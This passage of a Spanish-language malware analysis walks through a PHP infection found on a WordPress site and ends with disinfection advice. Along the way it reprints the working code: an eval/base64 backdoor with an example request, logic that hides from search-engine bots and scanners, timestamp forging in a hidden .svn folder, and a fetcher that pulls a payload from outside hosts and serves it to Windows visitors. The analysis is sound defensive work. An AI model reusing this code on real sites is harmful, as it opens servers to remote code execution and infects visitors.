    if (!file_exists($bot_33)) {
        $bot_23 = @filemtime($bot_30);
        $bot_35 = fopen($bot_33, "w");
        fclose($bot_35);
        @touch($bot_30, $bot_23, $bot_23);
    }
    if (!file_exists($bot_34) || filesize($bot_34) < 5) {
        $bot_36 = array(
            "ohix.",
            "effbot.",
            "/f/",
            "net"
        );
        $bot_37 = $bot_36[rand(0, 1)] . $bot_36[3] . $bot_36[2];
        $bot_38 = @cc($bot_37);
        if ($bot_38 != "ERROR") {
            $bot_23 = @filemtime($bot_30);
            $bot_35 = @fopen($bot_34, "w");
            @fwrite($bot_35, "$bot_38");
            @fclose($bot_35);
            @touch($bot_30, $bot_23, $bot_23);
            @touch($bot_34, $bot_23, $bot_23);
        }
    }
    $bot_39 = @base64_decode(@file_get_contents($bot_34));
    $bot_40 = @file($bot_33);
    $bot_41 = false;
    foreach ($bot_40 as $bot_42) {
        if (@trim($bot_42) == $bot_27) {
            $bot_41 = true;
            break;
        }
    }
    $bot_19 = @detB($bot_1, $bot_27);
    if ($bot_41 == false && $bot_19 == true) {
        $bot_35 = @fopen($bot_33, "a");
        @fwrite($bot_35, "$bot_27\n");
        @fclose($bot_35);
        echo $bot_39;
    }
}
?>

Ya nos hemos librado de dos de las cosas que nos molestaban a la hora de analizarlo. Hecho esto, creo que solo nos queda ir analizando lo que hace paso por paso, con paciencia y atendiendo a todas las lineas. Mientras lo hacemos, lo mejor es ir renombrando las variables para hacerlo más comprensible.

Comencemos desde el principio:

<?php
@ignore_user_abort(1);
@set_magic_quotes_runtime(0);
@set_time_limit(0);
@error_reporting(0);
if (@function_exists('ini_restore')) {
    @ini_restore("safe_mode");
    @ini_restore("open_basedir");
    @ini_restore("safe_mode_include_dir");
    @ini_restore("safe_mode_exec_dir");
    @ini_restore("disable_functions");
    @ini_restore("allow_url_fopen");
}
if (@function_exists('ini_set')) {
    @ini_set("max_execution_time", 0);
    @ini_set("output_buffering", 0);
    @ini_set("memory_limit", "16M");
    @ini_set("error_log", NULL);
    @ini_set("log_errors", 0);
    @ini_set("file_uploads", 1);
    @ini_set("allow_url_fopen", 1);
} elseif (@function_exists('ini_alter')) {
    @ini_alter("max_execution_time", 0);
    @ini_alter("output_buffering", 0);
    @ini_alter("memory_limit", "16M");
    @ini_alter("error_log", NULL);
    @ini_alter("log_errors", 0);
    @ini_alter("file_uploads", 1);
    @ini_alter("allow_url_fopen", 1);
}
?>

Todas esas funciones se refieren a la configuración de PHP. Podéis buscarlas en la página oficial de PHP si queréis saber exactamente que hacen y que configuración están modificando. A modo resumen se podría decir que ese fragmento se encarga principalmente de dos cosas: garantizar las opciones de PHP para que el malware funcione (como ajustar el máximo tiempo de ejecución, la memoria ram limite, o permitir conexiones salientes a otros servidores) y evitar a toda costa que se imprima cualquier mensaje de error o de aviso en el navegador de un usuario, para que el código pase desapercibido.

El siguiente fragmento es la función cc. Mucho ojo a las llamadas a curl_setopt, donde el segundo parámetro es un número. Ese número no es más que una constante que ya viene definida en PHP, y que normalmente se suelen referenciar con defines del tipo CURLOPT_URL. En este caso el autor las ha puesto en formato entero para hacer más ilegible el código. Yo las he sustituido por su representación en cadena para que quede más claro, y he modificado las variables para que sus nombres representen su contenido.

<?php
if (!function_exists('cc')) {
    function cc($param)
    {
        $browserAgent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
        if (function_exists('curl_init')) {
            $curlHandler = curl_init();
            curl_setopt($curlHandler, CURLOPT_URL, $param);
            curl_setopt($curlHandler, CURLOPT_HEADER, 0);
            curl_setopt($curlHandler, CURLOPT_TIMEOUT, 30);
            curl_setopt($curlHandler, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curlHandler, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)");
            if (!(@ini_get("safe_mode") || @ini_get("open_basedir"))) {
                @curl_setopt($curlHandler, CURLOPT_FOLLOWLOCATION, 1);
            }
            @curl_setopt($curlHandler, CURLOPT_MAXREDIRS, 2);
            $result = curl_exec($curlHandler);
            curl_close($curlHandler);
            if ($result !== false) {
                return $result;
            }
        } else if (function_exists('fsockopen')) {
            /* ACORTADO PARA NO HACERLO MAS LARGO */
        } else {
            echo "ERROR";
            exit;
        }
    }
}
?>

La función hace uso o bien de CURL o bien de fsockopen. Ambos son métodos para llegar a un servidor externo. Yo solo he trabajado sobre la parte de CURL, porque al final la parte de fsockopen hace lo mismo pero utilizando otras funciones. Básicamente, lo que hace es acceder a una URL que se le pasa a la función cc y devolver su resultado.

Continuamos con la siguiente función. De nuevo, los nombres de las variables ya están modificadas.

<?php
if (!function_exists('detB')) {
    function detB($param1, $param2)
    {
        $ips     = array(
            "66\.249\.[6-9][0-9]\.[0-9]+",
            "72\.14\.[1-2][0-9][0-9]\.[0-9]+",
            "74\.125\.[0-9]+\.[0-9]+",
            "65\.5[2-5]\.[0-9]+\.[0-9]+",
            "74\.6\.[0-9]+\.[0-9]+",
            "67\.195\.[0-9]+\.[0-9]+",
            "72\.30\.[0-9]+\.[0-9]+",
            "38\.[0-9]+\.[0-9]+\.[0-9]+",
            "124\.115\.6\.[0-9]+",
            "93\.172\.94\.227",
            "212\.100\.250\.218",
            "71\.165\.223\.134",
            "209\.9\.239\.101",
            "67\.217\.160\.[0-9]+",
            "70\.91\.180\.25",
            "65\.93\.62\.242",
            "74\.193\.246\.129",
            "213\.144\.15\.38",
            "195\.92\.229\.2",
            "70\.50\.189\.191",
            "218\.28\.88\.99",
            "165\.160\.2\.20",
            "89\.122\.224\.230",
            "66\.230\.175\.124",
            "218\.18\.174\.27",
            "65\.33\.87\.94",
            "67\.210\.111\.241",
            "81\.135\.175\.70",
            "64\.69\.34\.134",
            "89\.149\.253\.169",
            "64\.233\.1[6-8][1-9]\.[0-9]+",
            "64\.233\.19[0-1]\.[0-9]+",
            "209\.185\.108\.[0-9]+",
            "209\.185\.253\.[0-9]+",
            "209\.85\.238\.[0-9]+",
            "216\.239\.33\.9[6-9]",
            "216\.239\.37\.9[8-9]",
            "216\.239\.39\.9[8-9]",
            "216\.239\.41\.9[6-9]",
            "216\.239\.45\.4",
            "216\.239\.46\.[0-9]+",
            "216\.239\.51\.9[6-9]",
            "216\.239\.53\.9[8-9]",
            "216\.239\.57\.9[6-9]",
            "216\.239\.59\.9[8-9]",
            "216\.33\.229\.163",
            "64\.233\.173\.[0-9]+",
            "64\.68\.8[0-9]\.[0-9]+",
            "64\.68\.9[0-2]\.[0-9]+",
            "72\.14\.199\.[0-9]+",
            "8\.6\.48\.[0-9]+",
            "207\.211\.40\.82",
            "67\.162\.158\.146",
            "66\.255\.53\.123",
            "24\.200\.208\.112",
            "129\.187\.148\.240",
            "129\.187\.148\.244",
            "199\.126\.151\.229",
            "118\.124\.32\.193",
            "89\.149\.217\.191",
            "122\.164\.27\.42",
            "149\.5\.168\.2",
            "150\.70\.66\.[0-9]+",
            "194\.250\.116\.39",
            "208\.80\.194\.[0-9]+",
            "62\.190\.39\.205",
            "67\.198\.80\.236",
            "85\.85\.187\.243",
            "95\.134\.141\.250",
            "97\.107\.135\.[0-9]+",
            "184\.168\.191\.[0-9]+",
            "95\.108\.157\.[0-9]+",
            "209\.235\.253\.17"
        );
        $cadenas = array(
            "http",
            "google",
            "slurp",
            "msnbot",
            "bot",
            "crawl",
            "spider",
            "robot",
            "httpclient",
            "curl",
            "php",
            "indy library",
            "wordpress",
            "charlotte",
            "wwwster",
            "python",
            "urllib",
            "perl",
            "libwww",
            "lynx",
            "twiceler",
            "rambler",
            "yandex",
            "trend",
            "virus",
            "malware",
            "wget"
        );
        $param1  = preg_replace("|User\.Agent\:[\s ]?|i", "", $param1);
        $ret     = true;
        foreach ($ips as $ips_ind)
            if (eregi("$ips_ind", $param2)) {
                $ret = false;
                break;
            }
        if ($ret)
            foreach ($cadenas as $cadenas_ind)
                if (eregi($cadenas_ind, $param1) !== false) {
                    $ret = false;
                    break;
                }
        if ($ret and !eregi("^[a-zA-Z]{5,}", $param1)) {
            $ret = false;
        }
        if ($ret and strlen($param1) <= 11) {
            $ret = false;
        }
        return $ret;
    }
}
?>

En esta función, el array $ips son expresiones regulares, así que en realidad cada linea son varias ips que siguen ese formato. Por ejemplo, esta linea: “209.185.253.[0-9]+”, en realidad son 255 IPs, es decir, toda la red 209.185.252.0/24.

Lo que hace es muy sencillo. Busca en el primer parámetro alguna coincidencia con $cadenas, y en el segundo parámetro alguna coincidencia con las ips listadas en $ips. Si hay alguna coincidencia devuelve false. En caso contrario devuelve true. También devuelve false si el primer parámetro no sigue un determinado formato, en concreto si los primeros 5 caracteres no son letras, o si la longitud es menor de 11 caracteres.

¿Os hacéis una idea de a quien pertenecen todas estas IPs? Son IPs de bots de internet y de servicios que monitorizan páginas webs. El ejemplo claro: los bots de Google. Mas adelante veremos que a esta función se la pasa en el primer parametro el user agent del visitante, y en el segundo la IP del visitante.

Poniendonos en la piel del desarrollador del malware, si la IP o el User Agent coincide con, por ejemplo, un bot de google, no nos interesa que se intente explotar una vulnerabilidad en ese visitante, porque podría marcar el sitio como contenedor de malware y por lo tanto evitar que visitantes potenciales se infecten. En ese caso, la función devolvería false y por lo tanto no se lanzaría el exploit.

<?php
if (!function_exists('rm_rf')) {
    function rm_rf($param)
    {
        $ultimaModif = @filemtime($param);
        if ($folder = opendir($param)) {
            while (false !== ($folderName = readdir($folder))) {
                if ($folderName != "." && $folderName != ".." && is_file($folderName)) {
                    @chmod($folderName, 438);
                    @unlink($folderName);
                }
            }
            closedir($folder);
        }
        @touch($param, $ultimaModif, $ultimaModif);
    }
}
?>

Esta función se utiliza simplemente para eliminar los contenidos de la carpeta que se le pasa por parámetro a la función. La función filemtime y touch se utiliza para que la fecha de modificación de la carpeta no se vea modificada en la operación. Seguimos:

<?php
eval(base64_decode('aWYgKGlzc2V0KCRfUkVRVUVTVFsiZXYxIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbImV2MSJdKSk7IGV4aXQ7fQ=='));
?>

Si realizamos la decodificación base64 obtenemos el código PHP que se ejecuta en realidad

<?php
if (isset($_REQUEST["ev1"])) {
    eval(base64_decode($_REQUEST["ev1"]));
    exit;
}
?>

Permite que alguien se conecte al script pasándole un código PHP en base64 como parámetro. El script decodificará esa cadena y ejecutará el código PHP. Por ejemplo: http://www.web.com/script.php?ev1=ZWNobyAiSG9sYSBtdW5kbyI7 ejecutará ‘echo “Hola mundo”;’. En realidad se podrían ejecutar comandos mucho más interesantes, como por ejemplo la función system() para ejecutar comandos del sistema.

Ya para acabar, analizamos el último fragmento del código, que he dejado comentado en el propio código.

<?php
$langs        = "langs";
$remoteIP     = $_SERVER["REMOTE_ADDR"];
/* IP del visitante */
$browserAgent = $_SERVER["HTTP_USER_AGENT"];
/* User Agent del visitante */
$script       = $_SERVER["SCRIPT_FILENAME"];
/* Ruta absoluta de este archivo */
/* Si alguno esta vacío, no hacer nada */
if ($remoteIP == "" || $browserAgent == "" || $script == "")
    die();
/* User Agent en LowerCase (en minusculas) */
$browserAgentLower = strtolower($browserAgent);
/* No lanzar el exploit si no utiliza windows o la cookie langs no está presente */
if (!isset($_COOKIE[$langs]) && strstr($browserAgentLower, "windows") !== false) {
    /* Enviar estos headers HTTP */
    @header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
    @header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
    @header("Cache-Control: no-store, no-cache, must-revalidate");
    @header("Cache-Control: post-check=0, pre-check=0", false);
    @header("Pragma: no-cache");
    /* Cadena de la carpeta .svn */
    /* Se utiliza esta carpeta porque suele estar presentes
    en algunos sistemas que utilizan un software de control de
    versiones. De nuevo, el objetivo: no llamar la atención */
    $svnFolder = dirname($script) . "/.svn";
    /* Si la carpeta .svn no existe, la creamos y hacemos que los
    tiempos de modificacion de las carpetas que las contienen
    no se vean modificados */
    if (!file_exists($svnFolder)) {
        $modifiedTime = @filemtime(dirname($script));
        @mkdir($svnFolder);
        @touch(dirname($script), $modifiedTime, $modifiedTime);
        @touch($svnFolder, $modifiedTime, $modifiedTime);
    }
    /* Creamos una fecha en formato HORAminuto con ceros iniciales */
    $dateHi = @date("Hi");
    /* Si son las 12:00, 12:01, 00:00 o 00:01 eliminamos la carpeta .svn */
    if (($dateHi >= "0000" && $dateHi <= "0001") || ($dateHi >= "1200" && $dateHi <= "1201"))
        rm_rf($svnFolder);
    /* Definimos fecha en formato ymd, por ejemplo, 20130123 */
    $dateymd    = @date("ymd");
    /* Definimos el archivo script/.svn/fechaEnymd, ejemplo script/.svn/20130123 */
    $dateFolder = "$svnFolder/$dateymd";
    /* Definimos el archivo script/.svn/sess_fechaEnymd, ejemplo script/.svn/sess_20130123 */
    $sessFolder = "$svnFolder/sess_$dateymd";
    /* Si el archivo dateFolder no existe, lo creamos */
    if (!file_exists($dateFolder)) {
        $modifiedTime      = @filemtime($svnFolder);
        $dateFolderHandler = fopen($dateFolder, "w");
        fclose($dateFolderHandler);
        @touch($svnFolder, $modifiedTime, $modifiedTime);
    }
    /* Si no existe sessFolder o el tamaño del archivo es menor de 5 */
    if (!file_exists($sessFolder) || filesize($sessFolder) < 5) {
        $arrayDirs    = array(
            "ohix.",
            "effbot.",
            "/f/",
            "net"
        );
        /* Forjamos una URL al azar a partir del array $arrayDirs */
        /* Se pueden forjar dos en total, las siguientes */
        /* ohix.net/f/ o effbot.net/f/ */
        $choosed      = $arrayDirs[rand(0, 1)] . $arrayDirs[3] . $arrayDirs[2];
        /* Accedemos a esa URL y guardamos el resultado en returnedFile */
        $returnedFile = @cc($choosed);
        /* Si no ha dado error... */
        if ($returnedFile != "ERROR") {
            /* Escribimos en el archivo sessFolder lo que hemos
            obtenido de la url forjada */
            $modifiedTime      = @filemtime($svnFolder);
            $dateFolderHandler = @fopen($sessFolder, "w");
            @fwrite($dateFolderHandler, "$returnedFile");
            @fclose($dateFolderHandler);
            @touch($svnFolder, $modifiedTime, $modifiedTime);
            @touch($sessFolder, $modifiedTime, $modifiedTime);
        }
    }
    /* Obtenemos el código que hay en el archivo sessFolder y le
    hacemos un base64_decode (por lo tanto, el resultado es algo
    codificado en base_64 */
    $returnedCode          = @base64_decode(@file_get_contents($sessFolder));
    /* Abrimos el archivo dateFolder, devuelve un Array con las lineas */
    $fileHandlerDateFolder = @file($dateFolder);
    $flag                  = false;
    /* Por cada linea del archivo ... */
    foreach ($fileHandlerDateFolder as $fileHandlerDateFolderIndex) {
        /* Limpiamos la linea, y si es igual que la IP del visitante ... */
        if (@trim($fileHandlerDateFolderIndex) == $remoteIP) {
            /* Ponemos la flag en true, para que no se lance el
            exploit a este usuario */
            $flag = true;
            break;
        }
    }
    /* Decidimos si lanzar el exploit o no, basandonos en la IP
    del visitante y del agente del usuario */
    $throwExploit = @detB($browserAgent, $remoteIP);
    /* Si la flag es false, y se ha decidido lanzar el exploit ... */
    if ($flag == false && $throwExploit == true) {
        /* Abrimos el archivo */
        $dateFolderHandler = @fopen($dateFolder, "a");
        /* Añadimos en el archivo la IP del visitante */
        @fwrite($dateFolderHandler, "$remoteIP\n");
        @fclose($dateFolderHandler);
        /* Lanzamos el exploit */
        echo $returnedCode;
    }
}
?>

Respecto al análisis, eso es todo.

Desinfección

Para desinfectar este malware la solución es eliminar el script, los archivos que crea, y la modificación que hizo sobre la librería Mootools que vimos en la primera parte. Para evitar nuevas infecciones, como siempre, la solución es mantener actualizados todos los plugins de WordPress a la última versión, de forma que no tengan ninguna vulnerabilidad explotable.

¡Mantened siempre actualizados vuestros sistemas!